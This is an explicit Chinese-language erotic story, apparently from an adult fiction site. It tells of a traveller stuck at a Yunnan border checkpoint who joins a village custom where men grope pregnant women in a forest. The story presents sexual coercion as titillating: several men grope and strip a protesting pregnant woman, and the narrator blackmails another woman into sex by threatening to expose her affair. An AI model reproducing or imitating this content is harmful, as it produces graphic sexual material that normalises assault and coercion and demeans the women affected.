热搜排行
边境少妇
Contents
JKF严选免费成人小说
老人村的淫奴母女  三代共用的女人  我和MM  我和女同事上床  色表叔  我和姨姐的真实记录  我和未来岳母  强姦实习美教室  淫魔父子


  汽车盘旋在群峰耸立、沟壑纵横的云贵高原上,凭窗远眺,头顶上是碧蓝的天空,一片片云朵飘浮在山腰间,汽车的右侧是看不见顶端的悬崖绝壁,左侧则是瞅不到底的万丈深渊。每逢转弯处,司机便拚命地按动剌耳的喇叭,提醒着迎面而来其它车辆,相互之间嗖的一声擦身而过。

  我坐在燥热异常的汽车里,充满好奇心地进入红土高原的深处,这里完全是另外一个世界,另外一番景象,而这里的饮食习惯更是让我无法接受,终日以矿泉水和乾麵包来提供最基本的生存热量,饥饿和疲倦使我长时间地处于半昏迷状态,颓废不堪地蜷缩在汽车的最后端。

  “停车,停车!”在一处不知名的荒野之地,汽车嘎吱一声停滞下来,我抬起昏沈沈的脑袋,睁开红肿的眼睛向窗外一看,几个面色冷漠的边防士兵拦住了汽车:“车上的乘客都下来接受检查,拿出你们的证件!”

  车厢里轻微地骚动起来,困顿不堪的乘客们十分顺从地走下车去,一个边防士兵走进车厢检查货架上的包裹以及行李,另外一个边防士兵则趴到汽车底下希望有所收穫。

  我从位置上爬起来,前面的乘客已经陆续走下汽车,我傻怔怔地望着车外,不清楚发生了什么事。车下站着一位职衔不高的边防士兵,两道又粗又长的扫帚眉给我留下终生难忘的印像,见我迟迟不肯下车,他表情严肃地冲我喊道:“赶快下来,拿出你的证件来!接受检查,”我还是没有下车,从旅行袋里掏出身份证递了过去。大眉毛接到手里看了看:“还有边防证,把边防证也拿出来!”

  “边防证?”我登时傻了眼,“我没有哇!”

  “嗯,”大眉毛握着我的身份证,目光更加犀利,“没有边防证,你是不能去瑞丽的,快点下来吧,接受检查!”

  我拎着旅行袋垂头丧气地走下汽车,大眉毛毫不客气地抢过旅行袋哗地一声将其拉开,仔细地检查起来。我问心无愧,旅行袋里除了照相机,便是换洗的衣物以及洗濑用具,另外还有几本书籍和地图册。大眉毛没有检查到什么可疑的物品,便将旅行袋拉合上送还给我:“你到瑞丽做什么?”

  “旅游!”

  “什么!”大眉毛一脸狐疑地盯着我,“旅游?”

  “对呀,”我坦诚地重複道,“旅游!”

  “好家伙,”大眉毛深吸一口气,再次瞅了瞅我的身份证:“你跑了大半个中国!到瑞丽就为了旅游?”

  大眉毛以惊讶的目光不解地注视着我,其它的乘客在接受过检查以及验过证件之后,陆续地返回到汽车上。

  大眉毛冷冷地对我说道:“你不能去瑞丽啦!”说完,指着公路旁边一条长椅子道:“你先坐到那边去,一会,还要接受检查!”

  “唉,”当我拎着旅行袋走到树荫下的椅子前时,椅子上或躺或坐着几个男女,见我走来,躺着的男子坐起身来,给我让出一个位置。一声怪叫,无情无意的长途汽车抛下孤苦伶仃的我头,也不回地消失在山野之中。

  我呆呆地坐在椅子上,想起连续数天的旅行,吃尽了千般苦,现在,目标就在眼前,我去被无情地拒绝之门外了。

  “唉,这可怎么办啊!”草地上还有几个与我同样没有边防证的可怜虫们,唉声叹气地瘫坐在树荫下,“完了,去不了,怎么办?”

  我站起身来,心烦意乱地徘徊在公路旁,在一座桥涵上,竖着一块大牌子,上面写着鲜红的大字:红旗桥检查站!

  我走进边防士兵的营房,打开水龙头狠狠地冲洗一下昏沈沈的脑袋,然后,缓缓地走向让我终生不忘的大眉毛士兵:“同志,我该怎么办呢,你不能让我一直待在这里吧?”大眉毛沈吟片刻:“如果你想去瑞丽就回保山办边防证!”

  “这里能不能办?”

  “不能!你这个人啊,”他扬了扬异常浓重的扫帚眉,以训斥的口吻说道,“到边境地区旅行必须办理边防证,难道你不知道这个规定吗?”

  “同志,”我如实相告,“我还真的就不知道这个规定,边境地区我去过多次,从来没有人向我要过什么边防证啊!”

  “呵,”大眉毛不肯相信,“你瞎说,不可能的,看你的身份证是吉林的,难道你到图们不要边防证吗?”

  “不要,真的不要啊!买张火车票可以直接坐到图们,什么边防证不边防证的,根本没有那回事。黑河我也去过,那里也不要什么边防证。还有满洲里,也不要……”

  “那我不管,”大眉毛冷冷地说道,“反正我们这里没有边防证绝对不能通过!”

  “唉,”我目光咄咄地盯视着大眉毛:“不让过咱就不过呗,你说了算,同志,我永远也忘不了你!”

  “嗯,”大眉毛似乎没有听明白我的话:“永远忘不了我?你这话是什么意思?”

  “同志,”我苦涩地解释道,“为了去瑞丽,我坐了好几天的车,吃的那个苦就别提啦,差点没饿死,现在,瑞丽就在眼前,你却把我挡在了她的大门口,同志,你说,我能忘得了你吗?”

  “嘿嘿……”大眉毛嘿嘿地笑了起来:“不好意思,我也没有办法,我必须按规定办事!”说完,大眉毛转过头,再也不肯理睬我了。

  我找到一个比较荫凉的地方坐下来,点燃一支香菸,猛一抬头,看见墙上贴着一张大布告,上面罗列着很多已被枪毙的贩毒人员。望着一排排人名以及可怕的红叉叉,我似乎明白一些个中的缘由:此地不同于图们、黑河,这里走私毒品活动极其猖獗,绝不是一块平静之地,往来人员极其複杂,形形色色的各路神仙都汇聚于此,所以,不能不严查严防,索要边防证也是情理之中的事。

  “唉,”我又叹了口气,自言自语道,“我理解了!”

  扔掉烟蒂,我又漫无目标地徘徊起来,只见椅子上以及草地上与我同样遭遇的人纷纷站起身来,向一个身着当地服装的男人围拢过去,我也信步凑上前去,原来,奇装异服的男人声言他有办法可以帮助证件不全者通过红旗桥检查站,当然,送过检查站后,要收取一定的报酬。

  众人叽叽喳喳一番,便尾随男人而去,我拎着旅行袋也悄然无声地跟在他们的身后,绕过检查站的营房,走下公路。男人将我们领到一座据称是茶馆的小竹楼上,看室内的情形,应该是饭店加旅馆。男人开始向众人索要小费,当他把手掌伸向我时,我突然有所醒悟:擅自闯关,兇多极少,一旦被士兵抓获,麻烦多多啊!

  “我不过去,”我摇摇头:“我只是想在此休息休息!然后返回保山去,离开云南!”

  “哪,”男人失望地缩回手去,冷冷地扔出两个字:“随你!”

  “先生,”男子领着众人私自闯关去了,见我独自坐在竹椅上,一位仪态甚是文静的少妇笑吟吟地向我走来。

  她身材中等,皮肤白净,上身着既短且紧的浅红色小袄,裹着一对紧绷绷的美乳,下身则穿着双腿极为肥阔的深蓝色裤子,小巧的双脚蹬着一双自制的鏽花布鞋。

  “你要点什么?哦,”话刚出口,少妇突然显露出欲呕吐的样子,慌忙用细白的小手摀住了樱桃小嘴,两条柳叶眉微拧,显得更加妩媚可爱了:“哦,哦,哦,……”

  “月娥啊,”一个老太太,如果我没猜错,应该是少妇的婆婆,她端着洗衣盆走了过来,看见少妇的难堪之相,劝说道,“反应太强烈,你就休息休息呗,还干什么啊,身子骨要紧啊!”

  “没关係,我能行,”少妇忍住乾咳,抹了抹眼角的泪珠,继续问我:“先生,你需要点什么!”

  望着妊娠反应如此强烈、依然无比敬业地坚守岗位的少妇,我没有理由不慷慨解囊,既使一口吃不下去,也胡乱点了两盘炒菜,就着冰镇啤酒,咕噜咕噜地吞嚥起来。

  “先生吃好,”少妇并没有很快离开,像个小丫环似地站在餐桌前,望着我狼狈的吃相,语气甜甜地,却是诚慌诚恐地问我道:“先生,菜做得的可口么,鹹不鹹啊?”

  “不鹹,”我胡乱地应承着,少妇微微一笑,细嫩的粉腮露出一对迷人的酒窝,“先生吃好!”

  然后,少妇方才转过身去走向内室,我一边饮着啤酒,一边悄悄地撩起眼色盯着少妇的背影。少妇迈动着轻盈的脚步,肥大的裤子依然遮掩不住她那丰满的美臀,直看得我津液横流,联想起少妇还是身怀有孕,更是能让我,让我……嘻嘻,不说了,我可太下流了,连孕妇的主意也要打!

  酒足饭饱,我被少妇安排在一间小隔断里,无尽的乏意汹涌而来,我脑袋一歪便睡死过去。

  咳咳咳,咳咳咳,咳咳咳……

  也不知睡了多久,隔壁一阵剧烈的乾咳声将我惊醒,我瞅了瞅腕上的手錶,已经是傍晚时分了,隔壁的月娥还在剧烈地干咳着,“咳咳咳,咳咳咳,咳咳咳……”

  “月娥啊!”还是那个老太太的话音,她一边唠叨着还一边无比关切地敲捶着月娥的后背:“娥儿啊,别着急,想吐,你就慢慢地吐,啊,来,我给你捶一捶就好受一些啦!”捶了一会,老太太幸福地嘀咕道:“来年,我就可以抱上大孙子喽,嘿嘿,嘿嘿,”

  “嗯,”月娥乖顺地点点头:“妈妈,我也希望生个宝贝儿子啊!”

  “哎,”老太太大概是把嘴巴凑到月娥的耳边了,叽哩咕噜地耳语一番,我一句也没听清楚,透过薄薄的隔断,我似乎感觉出月娥那清秀的面庞泛起一片绯红,脑袋瓜快速地、像个波浪鼓似地摇晃着:“妈妈,啊,不,不,不,不……我不”

  “什么不、不、不的,”老太太一本正经地说道:“必须得去,不去不行的……”

  “妈妈,”月娥十分为难地说:“妈妈,去那种地方,简直羞死人啦……”

  “怕啥的啊!”老太太却不以为然地说道:“没关係,这是咱们村子里的老传统、老规矩啦,想当年,想当年,妈妈我,我,我也去过啊,也让大家伙摸过啊,你看我的儿子长得多壮实,像头大莽牛似的,娥儿呀,听妈妈的话,去吧,啊……”

  “这,这……”月娥依然犹豫不决。

  “娥儿啊,去吧,去吧,啊,听妈妈的话,你的奶子让大家伙摸完之后,生下来的孩子不仅壮实并且奶水充足,好啦,这事就这么定下来啦,你瞅,天已经擦黑了,你换换衣服,呶,”老太太似乎翻腾出一件衣服来,递到月娥的手上,叮嘱道:“把这件宽大一些的衣服换上,呶,这件衣服领口很低,很方便大家伙的抚摸,你那袄子太紧了,怎么摸啊,以后,就不要再穿这件小短袄了,不但不便于抚摸,还容易把奶子裹坏了!”

  “妈妈,”月娥很不情愿地脱换着衣服:“这,太塞碜了,我,不想去!”

  “不行,”老太太态度异常地坚决:“不去不行,必须得去,如果你实在不好意思,我把你送到林子口,我就在林子边上等着你!走,摸完了,咱们就一起回家!”

  豁豁,天地之大,奇闻异事应有尽有。今天,在这荒山野岭之中,在这小竹楼之上,从月娥婆媳俩那没头没脑、时断时续的交谈中,我又闻听到一桩尤为怪诞的陋俗——摸乳!凡是怀孕的少妇,应该到林子里去,让四邻八寨里陌生的男人抚摸她们的奶子,这样,经过无数只异性手掌的碰摸,孕妇的奶水便会空前地充沛,生下的孩子,也是异常地健康。乖乖,若真有此事,我为何不欣然前往,肆意抚摸百乳啊!

  想到此,我周身的乏意顿然消散得无影无蹤,呼地翻身坐起,草草地洗漱一番,又换了一身行头,当老太太拽着满脸羞色的月娥嘟嘟囔囔地走下竹楼时,我也悄悄地溜下楼去,趁着濛濛夜色,与月娥婆媳保持一定的距离,怀揣着一颗猎豔之心,兴奋难当地钻进了茫茫大山。

  “娥儿啊,别紧张,别害怕!”

  一阵清凉的夜风掠耳而过,传过来老太太絮絮叨叨的话语:“这是几辈子传下来的老规矩了,没有什么的,都是过来的人,什么没经历过啊,别紧张,放鬆点!”

  作梦都想早日抱上大孙子的老太太怀着一颗无比喜悦的心情,将身怀有孕的儿媳妇护送到村边一片茂密的小树林旁:“娥儿啊,去吧,”老太太推了推身旁的儿媳妇。

  “妈妈,”望着幽深如冥的树林子,月娥有些怯步不前,“妈妈,我还是好怕啊!”

  “娥儿啊,不怕,去吧!”

  “……”

  当老太太不厌其烦地做着儿媳妇的思想工作时,当她耐着性子一而再、再而三催促着月娥时,我早已按奈不住激动的心情,绕过月娥婆媳俩,从树林的另一侧溜了进去。

  “嘿嘿嘿,嘿嘿嘿……”

  乍一迈进树林里,我的眼前一片昏暗,彷彿是一个迟到的观众,骤然闯进电影院里,霎时之间满目模糊,茫然无措,并且,我这双近视眼尤其不适应树林里的漆黑,我踏着杂草,像个瞎子似地摸着一棵棵树桿往前行进,从不太远的地方传来一阵妇人的嬉笑声和男人沙哑的淫笑声:“嘿嘿嘿,嘿嘿嘿……,好滑溜的奶子啊!”

  “嘻嘻嘻,嘻嘻嘻……死鬼,轻点掐哦!”

  “……”

  啊,奶奶,我兴奋的一颗色邪之心差点没从嗓子眼里蹦出来,看来,贵地真有摸乳的异俗!

  哇,塞翁失马,焉知祸福?瑞丽没有去成,留下终身憾事,当我满腹愁怅地滞留在荒山野岭之时,却因此而偶遇摸乳的异风怪俗,真是性福也!

  我手扶着树桿,近视眼渐渐地适应了漆黑,皎洁的月光透过茂密的树叶洒进林间,没膝的草灌瑟瑟抖动,晃动着一颗颗嬉笑不止的脑袋瓜,猎豔的男子乐此不疲地穿行在树林里,一双双色眼喷射着慾望的火花。

  “呵呵”一个少妇咧着衣襟,手捂着雪白的胸乳,从我的身旁快步跑过,一个男子淫笑着紧随其后,一头将少妇扑倒在地:“嘿嘿,抓住了,抓住了,小美人,看你往哪跑!”

  “哟,哟,坏蛋,死鬼!”

  面对此情此景,我再也不能无所作为,必须积极参与。我不再顾忌漆黑带来的不便,也不再手扶树桿,而是深一脚浅一脚地走向林间。

  前方的大树下依着一对男女,正唧唧我我地耳语着,见我走来,男子突然溜之乎也,我更是莫名其妙:跑啥啊?哦,好啊,你跑了,那我就开摸呗!

  我走到女子面前,藉着月光瞅了瞅她,看她那难堪的神情,我敢断定,她与月娥一样,都是属于第一次进入树林的、极为腼腆的女人。见我盯着她看,女人饱含羞涩地低下头去,我色胆空前地膨胀起来,凑到女人的身前,手掌撩起她的衣襟,女人没有拒绝我,娇弱的身子无言地向树桿上倚靠着,我试探性地将手掌伸进她宽鬆的衣服里,轻轻地抓住她的奶子。

  女人闭上了眼睛,并不丰满的胸脯微微的起伏着,手中的奶子发散着诱人的温热,我美滋滋地把玩起来,手指头撩拨着如豆的奶头,反覆地磨擦着,女人深深地呼吸起来,脑袋贴靠在树桿上。我悄悄地撩起眼皮,黑暗之中,女人模糊不清的面庞泛着迷人的臊热,开咧着的小嘴露出洁白的碎齿,切咬着干涩的下唇。

  摸了一会,我企图解开女人的衣襟,女人慌忙摀盖住,我没有造次,又美美地抓摸一番,终于抽出手来,悄然而去。

  哗哗,右侧的树林响起细碎的脚步声,我转过身去,瞅着那熟悉的身影,应该是月娥吧?没错,果然是她,怀揣着一颗既恐惧又羞涩的心,心事重重地走进树林,在最幽暗的,极不显眼的地方,找到一块废弃的石碾,心神不定地坐了下来。

  “嘿嘿嘿,嘿嘿嘿,”又是一阵淫笑声响起,月娥立刻附下头去双手摀住面庞。我看在眼里,心中暗道:小美人,怎么,害羞了?看来,第一次摸乳,应该由我给您开张哦!我悄悄地溜向月娥,听到脚步声,月娥愈加胆怯起来,甚至欲起身逃出树林。

  我一个健步跃到她的身后,从背后搂住她的脖子,手掌按在她突突起伏的胸乳上,月娥扭了扭身子,我已经有了第一次摸乳的经验,胆子也更大了,索性解开月娥的衣襟,哇,月娥的奶子圆圆滚滚,在幽暗的月光下泛着迷人的细白色,我展开双臂两手各握着一只奶子得意洋洋地抓摸着,初入摸乳林的月娥显得甚是茫然,身子剧烈地抖动着,直楞楞地挺着胸脯任由我肆意抓摸。

  我的腮帮紧紧地贴着月娥的秀颜,感受着幸福的温暖,手指拨弹着小巧的乳头,撩拨得月娥不可自抑地呻吟起来:“哎哟,好痒啊!”月娥微微睁开秀目,看见是我,慌忙挣脱开,面颊唰地红胀到了脖颈处,“是你?先生,你,”

  月娥难为情地站起身来,我毫不知羞地拽着她的手腕:“小姐,别走啊,我还没摸够吶!”

  “先生,放开我,人家好害羞啊!”我正纠缠着月娥,身后传来一片杂乱的脚步声:“哎呀,这里还有一个吶!”几个男子从各处窜出来,同时向月娥围拢过来:“喂,快过来啊,这里有一个新来的小娘们,大家快过来摸啊!”

  月娥还没回过神来,三四个看不清面颊的男人早已蜂拥而至将月娥团团包裹住,一只只粗硬的大手毫不客气地伸进月娥那没戴乳罩的酥胸里,月娥顿时羞愧难当,本能地收紧双臂护住胸乳,嘴里恨恨地嚷嚷道:“干什么啊,干什么啊,你们干什么啊!”

  “哼哼,干什么!”一个操着公鸭嗓的男人冷冷一笑:“问我们干什么,你先问问你自己吧,你到这里是干什么来的啊,啊,不是为了让人摸,谁黑灯瞎火的跑到这里来啊,蚊子叮虫子咬的,有病啊!”

  “是啊,来了不就是让大家伙摸的吗,来吧,小娘们,别不好意,鬆鬆胳臂让俺好好摸摸!”

  “对,小娘们,别紧张,俺给你好好摸摸,你的奶水一定又多又好,保证你的儿子撑破肚皮都吃不了!”

  “嘿嘿,你的儿子吃不了我帮你吃!”

  众男人一边肆意抓摸着月娥的酥乳,一边嘻皮笑脸地调戏着这个第一次涉足摸乳林的少妇,月娥徒劳的抵挡着一只只贪婪的大手掌,身上仅有的一件小花上衣已被撕扯下来扔到大树下的草地上。几个男人犹如馋猫嗅闻到了鱼腥味,又彷彿是苍蝇发现了破壳的鸡蛋,围在月娥的身旁左右嗡嗡乱叫着:“哇,好肥实的大奶子啊!”

  “是啊,摸起来又细又滑,活像个小馒头!”

  “嘿嘿,你看她的奶头多好玩啊……”不知是哪个男人一把掐住月娥的乳头狠狠地拽拉着,因疼痛月娥纵声尖叫起来:“哎呀,好痛啊,轻点啊,你们倒是轻点啊!”

  几个男人围住月娥,再也没有我伸手摸乳的机会,望着他们如此纠缠月娥,我好不心痛,却又没有理由解救月娥。这是规矩啊,来此树林的女人,就是要让人摸啊,摸的人越多,月娥的奶水也就越多,唉,既然如此,那就摸吧!

  我又在树林里徘徊起来,无意之中又绕回到刚才那个少妇的附近,方才溜掉的男子不知何时又转悠回来,搂着少妇叽叽咕咕地私语着,我瞪着色眼,发觉男子拽扯着少妇的裤子,少妇则低声地嘀咕着:“别,别,不行啊,这可不行!”

  男子哪里肯依,哗哗地鬆开少妇的裤带,哧溜一声扯掉少妇的裤子,露出雪白的屁股,在月光下闪烁着迷人的柔光。男子令嘟嘟哝哝的少妇转过身去,一边摸着少妇的屁股一边掏出自己的鸡鸡。少妇手扶着树桿,转过面庞,盯着男子的鸡鸡悄声道:“你要小心,千万别让人看见,哎哟,”

  少妇突然呻吟一声,昏暗之中,男子放肆地大作起来,鸡鸡吭哧吭哧地撞击着少妇的屁股,少妇弯着腰身,厥着屁股,惊慌失措地转动着面庞,机警地观察着周围。

  望着眼前肆意偷欢的男女,我心中暗道:哇,这个也行啊?摸乳就摸乳呗,咋搞起这种行当来了。男子幸福地鼓捣着,少妇不可控制地呻吟着,看得我既兴奋又妒忌,故意发出一些声响:“嗯,嗯,”

  “啊,”男子惊呼一声,立刻鬆开少妇,拎着裤子落荒而逃,少妇“妈呀”

  一声正欲溜掉,我一把将其拽住,大手掌毫不客气地伸进她的胯间,里面湿漉漉的一片。少妇满面羞色地望着我:“放了我吧,我,他,”少妇像做了天大的错事,语无伦次地吱唔着,“是他,非得要干,我,我,挣不过他,他,他……”

  “嘿嘿,”我一手拽着少妇,另一只手滞留在她的胯间,手指探进少妇的肉穴。也许是过份紧张,少妇光滑的大腿哆哆直抖,湿淋淋的肉穴可爱地收缩着。

  我狠狠地抠了一下,一脸淫相地对少妇说道:“小姐,别紧张,儘管放心,我不会说出去的。”

  少妇略表感激地瞅了瞅我,我则冲她淫邪地笑了笑,手指一边继续抠捅着,一边用眼神示意她转过身去,少妇迟疑起来,我的手指又用力地抠捅一下,用指尖传递着如果你不肯让我上,我就把你做的好事张扬出去的无赖信息。少妇无奈地叹了口气,顺从地转过身去。

  我早已按奈不住,胯间的鸡鸡又热又硬,如果再不发洩掉这熊熊的慾念,可怜的鸡鸡便会叭地一声从中折断。我按着少妇的白屁股,呼地掏出烫手的鸡鸡,手指从少妇的胯间抽出来,掰开少妇的屁股,鸡鸡对準目标哧溜一声顶撞过去。

  “哎哟,”少妇惊叫一声,在我的顶撞之下,双手死死地扶住树桿,我深入少妇体内的鸡鸡顿然感受到空前的湿滑,少妇的淫液极其充沛,在我的捅捣下发出咕叽咕叽的脆响,我幸福地作着深呼吸,放慢了捅插的力度,火辣辣的鸡鸡尽情地享受着淫液的滋润。那份清泠,犹如炎炎的盛夏突然得到一瓶冰镇矿泉水,咕噜咕噜地一饮而尽,真是凉爽无比,燥热的咽喉得到了充分的润泽。

  少妇粉嫩的湿肉夹裹着我的鸡鸡,每抽拽一下便会发出吱吱的脆响,听得我神迷意蕩,更加得意忘形地鼓捣起来。少妇嗯嗯地呻吟着,不时催促着我:“先生,你要快点哦,让人看见可就麻烦了!”

  “小姐,别动,”我按住少妇的屁股,在她的催促之下,疯狂地大作起来,少妇清瘦的身子剧烈地抖动着,嗯唷、嗯唷地呻吟着,渐渐地,一种强烈的排泄慾望涌上脑门,我牙关一咬:“啊~~”一滩粘液从鸡鸡头喷涌而出,溅射在少妇的屁股上,我咧着大嘴,深深地喘息着。少妇慌忙站直了身子,顾不得擦拭屁股上的粘液,哧地拽上裤子,头也不回地溜之乎也。

  东方天际飘过一片浮云,挡住皎洁的月光,夜色愈加黑沈起来,而树林里也愈加疯狂起来。最初还仅仅是抓摸女人的乳房,胆大些的掐拧一下女人的屁股,偶或也有出轨之事悄然发生,臂如我刚才干过的少妇,但也仅仅发生在婚外情人之间,被我有意撞见,胆小如鼠的男子慌忙溜掉,留下鲜嫩的少妇让我趁机享受一番。

  而现在,当月光被云朵彻底罩住之后,昏沈沈的漆黑大壮男人的色胆,他们再也不满足于抓摸女人的乳房,一只只手掌打起了女人胯间的主意。

  “去,去,”女人冷冰冰地拒绝着,“该怎么摸就怎么摸,可别下道哦!净往歪处想!”

  “嘻嘻,摸一摸,让我摸一摸呗。”男人厚着脸皮反覆地乞求着,黑暗中,我听到女人鬆解裤带的响声以及娇嗔的咂咂声,“慢一点,你看你,急的啥啊,告诉你,”女人叮嘱道,“就摸一摸,可不许乱来哦,”

  “嗯,嗯,”男人乖顺地应承着,大手掌美滋滋地探进女人的胯间,女人哎唷、哎唷地哼哼起来,我也悄悄地凑了过去,刚刚蹲在女人的胯下便被她给发现了,女人低头瞅了瞅我:“你是哪个寨子的?”

  “山那边的,”我胡乱指了指,双眼一眨不眨地盯着女人的胯间,女人显得很大方,毫不躲藏我的窥视,她又撒娇似地斥责着摸她私处的男人来:“哎呀,你干啥啊,手指咋往里面抠啊!”

  嘴上虽然斥责着,女子却没有阻止男人的抠挖,过了一会,又轻轻地哼哼起来,我向前蹭了蹭身子,昏暗之中,稍不留情,我面庞竟然贴到了女子的私处,立刻感受到一片意外的绵软和迷人的微热,继尔,一股骚腥的气息扑进鼻孔,将我薰得猛一激泠:他妈的,好骚的小娘们啊!

  “嗯?”女子向后退了一步,一脸惊讶地俯视着我:“你干什么啊,咋亲人家的小便啊!”

  我深深地喘息着,感觉女子的气味好生特别,胯间的鸡鸡又蠢蠢欲动起来,我沖女子下作地笑了笑,正抠着女子的男人不解地盯视着我,我没有理睬他,鼻孔探向前去,又淫邪地闻了闻:“嘿嘿,我喜欢,小姐,你好香啊!”

  “哼,”见我这副德性,女子小嘴一抿,故意将胯间向前挺了挺:“香,你敢吃么?”

  “怎么不敢,”女子的话正合我意,我手掌一伸,搂住女人的大腿,闭上眼睛,张开嘴巴便无所顾忌地吮舔起来,绒毛稀疏的肉包上泛着清醇的淫液,那是被男子抠掏出来的,我咧着大嘴毫不知耻地舔吸着,舌尖老道地刮划着女人的私处,男子的手指反覆地进出于女子的肉穴,掏出滚滚的淫液,均被我得意忘形的吮吸到口腔里,我喘了口气,又吧嗒一下厚嘴唇,立刻冒出热辣辣的骚气。

  女子见状,盛气淩人地微笑着:“嘻嘻,哎哟,”男人的手指猛然一捅,女子立刻呻吟起来:“该死的,你能不能轻点啊!”

  哗啦,男人再也按奈不住,哗地拽掉女子的裤子,女子慌忙阻止着,男人可怜巴巴地乞求着:“玉花,让我玩一会吧,我的鸡巴都鳖肿了,求求你了,我好难受啊!”

  “哼,”被称谓玉花的女子神气活现地拧着男人的耳朵:“小馋猫,就馋死你。”

  男人继续乞求着,我依然默不作声地吮吸着玉花的私处,见男人抽出手指,跪在玉花脚下低三下四地乞求着,我乘机将手指探进玉花的肉穴,一边吮吸着,一边美滋滋地抠捅着。

  玉花向男人拱送着私处:“不给,不给,就不是给!馋死你,”

  “朋友,”我偷偷地拽了男人一把,悄声怂恿道:“上啊,有想法就快点动手,她能直接了当地答应你么,她这是在撩拨你呢!”

  “嗯?”机灵的玉花听见了我的话,纤细的手掌轻拍着我的腮帮:“你好坏啊,出的什么馊主意!哎哟,坏蛋,”我的话提醒了男人,只见他纵身一跳,好似发情的猴子,无比灵巧地扑向玉花,双手紧紧地抱住玉花的大腿,“玉花,我实在受不了啦,原谅我的粗野吧!”

  “啊呀,”玉花故作吃惊地大叫起来,身子一软,咕咚一声坐在草地上,拚命地踢蹬着双腿,“坏蛋,坏蛋!”

  “嘿嘿,”我笑呵呵地坐在玉花的身旁,坐视男人如何制服这个佯装正经、内心却极为放浪的女子,踢蹬之间,一只小巧的绣花鞋啪地飞将出去,露出一只娇嫩的小白脚,男人一把握在手中,极尽讨好之能事地咬啃着,“玉花,答应我吧,让我干什么都行,以后,我就是你的奴隶,看,我给舔脚丫了!”

  “呵呵呵”男人一边咬啃着,一边抓挠着玉花的脚心,搞得玉花呵呵直笑,望着这位真诚的求欢者,玉花终于柔顺起来,慢慢地展开了大腿,“咯咯,瞅你这德性,怪可怜的,来吧,上来啊!”

  “谢谢。”听见玉花的话,男人犹如接到了女皇的圣旨,激动不已地爬到玉花的胯间,一脸感激地瞅着玉花,“玉花,我永远也忘不了你,我永远爱你,你要什么,我就给你什么!”

  “咯咯,行了,行了。”玉花根本无视我的存在,大大方方地搂住男人的脖颈,在男人的撞击之下欢快地扭动着腰身,双腿充满爱怜地勾拢着男人的屁股:

  “坏蛋,老娘要吃你的心,你给么?”

  “给!给!”男人幸福到了极点,一边动作着一边应承着:“只要你想吃,等一会我剜出来送给你!”

  “咯咯”玉花愈加兴奋起来,身子也愈加放浪地扭动起来,时尔转过脸来顽皮地、充满挑逗地望着我:“你到底是哪个寨子的,我咋没见你啊?”

  “小姐,”我坦然道:“我是来贵地旅游的!”

  “哦,”玉花吃了一惊,“你咋跑到这里来了,你是从哪听说的?”

  我简单地讲述了自己的遭遇,玉花一边听着,一边哧哧地笑着,当我谈及贵地摸乳的异俗时,玉花不屑地吐了吐舌头:“什么摸乳,纯粹扯蛋,这是借摸乳之名,出来找相好的!”

  “哦,哦,哦,”男人突然吼叫起来,霎时,哆哆嗦嗦地握住粘液漫溢的鸡鸡,“哦,哦,玉花,我不行了!”

  “哼!”玉花显然是尚未尽兴,厥着小嘴道:“笨蛋,死皮赖脸地央求了半天,也下跪了,就差没磕头了,折腾来折腾去,你就这点脓水啊,”

  “唉,”男人颇为沮丧地坐在草地上,“玉花,你不知道啊,我都鳖了半年了!刚才,我咬着牙想控制住,可是,鸡巴就是不听话,稍不留情,一哆嗦就出来了,唉,”

  “哟,你拉倒吧,”玉花撇着小嘴,“你还能失闲啊,一年到头尽在摸乳林里转悠,远近山寨的娘们都让你玩遍了,还鳖了半年吶,说出来谁信啊!小狗才信吶!”

  “我,我,”男人非常委屈地嘀咕道,“玉花,我是总在摸乳林里转悠,可是,那些小娘们只让摸不让上啊!”

  说到此,男人系好裤子,规规矩矩地跪在玉花的小脚丫前,脸上又泛起无尽的感激之色,“玉花,我永远感谢你,我爱你!”

  “去吧,滚吧,”玉花的面庞呈着恩赐与人的得意之相,抬起小脚,脚趾甚为调皮地点划着男人的鼻尖,“去吧,找个没人的地方,把你的心剜出来送给我啊!”

  “嘿嘿,”男人诚恳地说道, “玉花,我的姑奶奶,你放心,天一亮我就进山打猎去,一定给你弄点野味,报答你的恩情!”

  “咯咯,”见男人消失在黑暗之中,玉花欢快地坐起身来,抓过裤头正欲往腿上套,却突然秀眉微锁,她抬起一条大腿,“哟,看来,这个家伙真是鳖了好长时间啊!”一滩白哗哗的粘液附在玉花的大腿内侧,她拎着内裤双眼四处环顾着,希望找些什么东西擦拭粘乎乎的排泄物。我突然想起裤兜里有一块小手帕,便掏了出来递给玉花,玉花欣然接在手中:“谢谢!”

  “小姐,”我伸出手去托起玉花的大腿,双眼直勾勾地盯着玉花的胯间,将刚才抠过玉花肉穴的手指放在鼻孔下淫邪地嗅闻起来,玉花见状,轻薄地笑道:

  “闻啥,有啥好闻的,”

  “嘿嘿,”我爬到玉花的胯间,曲起她的大腿,手掌开始鬆解裤带,玉花停下手来:“怎么,你?”

  “小姐,想不想再玩一会啊!”我掏出鸡鸡挺送到玉花的面前:“刚才,我看你有些不太尽兴啊!”

  “咯咯,”玉花扔掉手帕,握住我的鸡鸡,我再次勃起的鸡鸡上泛着些干涸的、白哗哗的附着物,玉花轻抚着我的鸡鸡,老道地问:“刚才,跟谁玩了?”

  “不认识!”我轻声答道,将鸡鸡插进玉花的肉穴,幸福地大作起来,玉花也像对待前一个男人那样对待我,手臂搂着我的脖颈,双腿勾拢着我的屁股,身子不停地扭动着:“咯咯,你挺厉害啊,能连续做战!”

  “他是谁?相好的?”我一边动作着,一边问玉花道,玉花如实相告:“谈不上是相好,一个寨子的,邻居住着,他家很穷,父亲残废,不能劳动,他娶不上媳妇,实在鳖急眼了,就在摸乳林里穷混,谁都瞧不起他,奶子怎么摸都行,就是不让上!咯咯,”

  “可是,”我说道:“林子里许多人都在做这事啊,我都碰到好几伙了。”

  “是啊,”玉花解释道:“还不都是嫌他家太穷,没人愿意跟他,捞不到实惠啊!”

  “可是,你为什么愿意跟他啊?”我的色眼死死地盯着身下的玉花,鸡鸡欢快地插抽着。

  玉花沈吟了一会:“我是这样想的,”玉花伸出手指扒拽着湿淋淋的肉片,“女人们长着这么个玩意就认为是个屄宝了,嫁人的时候,认为有了这个屄宝就了不起了,一个劲地要聘礼啊,什么都要。男人娶个媳妇,不死也得扒层皮,终于把媳妇娶到了家,可是还拿把吶,寨子里洞房之夜不上婚床的新娘有很多啊,为这事,前几天还有一个新郎赌气喝毒药了。结婚之后,还是凭着这个屄宝,在家里说一不二。”

  “嘿嘿,”听了少妇玉花的话,我突然喜爱起这个看似放浪实则很有个性的女子来:“小姐,你的理论好新奇啊!”

